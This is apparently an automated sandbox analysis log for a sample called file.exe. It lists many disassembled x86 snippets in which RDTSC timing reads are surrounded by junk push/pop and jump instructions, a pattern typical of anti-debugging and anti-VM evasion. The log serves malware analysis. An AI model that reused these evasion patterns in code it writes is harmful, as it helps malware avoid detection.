Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F04E second address: 81F066 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE885210B2h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F066 second address: 81F06A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823C0D second address: 823C1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE885210ABh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823C1E second address: 823C39 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDE88D878A1h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823F0A second address: 823F0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823F0E second address: 823F12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8240A0 second address: 8240A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8240A5 second address: 8240AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8240AD second address: 8240D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FDE885210B8h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82421E second address: 824227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824227 second address: 82422B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82422B second address: 82422F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82422F second address: 824235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824235 second address: 82423B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82423B second address: 824245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FDE885210A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824694 second address: 8246A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDE88D878A0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824928 second address: 824941 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE885210B4h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EB373 second address: 7EB3B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov edi, dword ptr [ebp+122D17E6h] 0x00000011 lea eax, dword ptr [ebp+1247F0DFh] 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007FDE88D87898h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 mov di, 2FC4h 0x00000035 nop 0x00000036 jbe 00007FDE88D878A8h 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EBAD3 second address: 7EBADD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FDE885210A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EBB80 second address: 7EBB85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EBB85 second address: 7EBB8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EBB8B second address: 7EBBB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], esi 0x0000000a mov dword ptr [ebp+122D1C44h], eax 0x00000010 nop 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FDE88D878A2h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EBE04 second address: 7EBE08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EBE08 second address: 7EBE66 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jp 00007FDE88D87896h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push eax 0x0000000e mov edx, esi 0x00000010 pop edi 0x00000011 push 00000004h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007FDE88D87898h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d sub edx, 14502C60h 0x00000033 nop 0x00000034 jo 00007FDE88D878A8h 0x0000003a jnl 00007FDE88D878A2h 0x00000040 jmp 00007FDE88D8789Ch 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 push eax 0x0000004a pop eax 0x0000004b js 00007FDE88D87896h 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EC213 second address: 7EC217 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EC5F8 second address: 7EC5FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EC5FE second address: 7EC642 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE885210B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov cx, di 0x0000000f lea eax, dword ptr [ebp+1247F0DFh] 0x00000015 jo 00007FDE885210A9h 0x0000001b or ch, FFFFFF90h 0x0000001e mov edx, dword ptr [ebp+122D3B31h] 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jp 00007FDE885210ACh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828C57 second address: 828C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 ja 00007FDE88D8789Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828DAE second address: 828DC5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FDE885210AEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828F0F second address: 828F15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828F15 second address: 828F52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE885210AAh 0x00000009 popad 0x0000000a pushad 0x0000000b je 00007FDE885210A6h 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007FDE885210B1h 0x00000018 popad 0x00000019 popad 0x0000001a push ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FDE885210AFh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828F52 second address: 828F5C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDE88D87896h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8291DC second address: 8291E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8291E1 second address: 8291F1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 jp 00007FDE88D8789Eh 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8291F1 second address: 82920F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jnc 00007FDE885210B2h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82939C second address: 8293A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FDE88D87896h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8293A7 second address: 8293AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D404 second address: 82D419 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDE88D87896h 0x00000008 jng 00007FDE88D87896h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D419 second address: 82D41E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D41E second address: 82D430 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE88D8789Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D430 second address: 82D434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8307AF second address: 8307CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jnl 00007FDE88D87896h 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FDE88D8789Ah 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 pushad 0x00000018 popad 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832749 second address: 83274D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83274D second address: 832751 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832751 second address: 832757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832757 second address: 832795 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDE88D878AFh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jmp 00007FDE88D878A6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8328C9 second address: 8328D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835562 second address: 83559C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D878A2h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDE88D8789Eh 0x00000012 jmp 00007FDE88D878A2h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83559C second address: 8355A2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A8D6 second address: 83A8DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A129 second address: 83A141 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDE885210A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007FDE885210B2h 0x00000010 jnp 00007FDE885210A6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A141 second address: 83A145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A145 second address: 83A14A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A14A second address: 83A150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A150 second address: 83A156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A156 second address: 83A162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A2B5 second address: 83A2B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A2B9 second address: 83A2CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007FDE88D87896h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A2CC second address: 83A2D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A2D0 second address: 83A2E0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDE88D87896h 0x00000008 jl 00007FDE88D87896h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A2E0 second address: 83A2E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A57A second address: 83A580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A580 second address: 83A596 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE885210ADh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A596 second address: 83A59C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A59C second address: 83A5A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E6D8 second address: 83E6DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E6DE second address: 83E6E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E6E3 second address: 83E6E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E6E9 second address: 83E6ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E6ED second address: 83E70D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007FDE88D878CBh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDE88D878A0h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83DA76 second address: 83DA7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83DA7C second address: 83DA8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jo 00007FDE88D87896h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83DA8A second address: 83DA90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83DA90 second address: 83DAA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE88D8789Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83DAA2 second address: 83DAB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE885210ACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83DBE0 second address: 83DBE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83DBE4 second address: 83DBEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E265 second address: 83E269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E269 second address: 83E277 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDE885210A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E277 second address: 83E2A5 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDE88D87896h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f jg 00007FDE88D87896h 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FDE88D878A6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844277 second address: 84427D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84427D second address: 844287 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDE88D87896h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844287 second address: 844291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 842DED second address: 842E07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE88D878A6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 842E07 second address: 842E20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FDE885210A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDE885210AAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 843284 second address: 84328E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDE88D87896h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84328E second address: 8432A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDE885210AFh 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 843413 second address: 843417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 843572 second address: 84357A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84357A second address: 84359A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE88D878A3h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84359A second address: 84359E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84359E second address: 8435E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDE88D878A7h 0x0000000b jmp 00007FDE88D878A0h 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007FDE88D87896h 0x00000018 jmp 00007FDE88D878A2h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 843F8D second address: 843F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 843F91 second address: 843FB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D8789Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FDE88D878A0h 0x0000000f pushad 0x00000010 popad 0x00000011 push edx 0x00000012 pop edx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 849D23 second address: 849D27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 849D27 second address: 849D2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84A527 second address: 84A52D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84A52D second address: 84A533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84AAA1 second address: 84AABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FDE885210A6h 0x0000000a jmp 00007FDE885210ADh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B2E2 second address: 84B2E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
